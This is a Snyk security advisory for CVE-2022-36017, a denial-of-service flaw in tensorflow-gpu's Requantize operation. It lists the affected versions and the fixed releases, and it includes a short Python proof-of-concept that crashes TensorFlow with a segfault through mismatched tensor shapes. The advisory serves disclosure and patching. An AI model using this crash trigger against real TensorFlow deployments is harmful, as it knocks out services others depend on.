Improper Input Validation Affecting tensorflow-gpu package, versions [,2.7.2) [2.8.0,2.8.1) [2.9.0,2.9.1)
Snyk CVSS
Attack Complexity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.08% (32nd
percentile)
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Test your applications- Snyk ID SNYK-PYTHON-TENSORFLOWGPU-3026793
- published 18 Sep 2022
- disclosed 18 Sep 2022
- credit Unknown
Introduced: 18 Sep 2022
CVE-2022-36017 Open this link in a new tabHow to fix?
Upgrade tensorflow-gpu to version 2.7.2, 2.8.1, 2.9.1 or higher.
Overview
tensorflow-gpu is a machine learning framework.
Affected versions of this package are vulnerable to Improper Input Validation when Requantize is given input_min, input_max, requested_output_min, requested_output_max tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.
PoC
import tensorflow as tf
out_type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input_min = tf.constant([], shape=[0], dtype=tf.float32)
input_max = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type)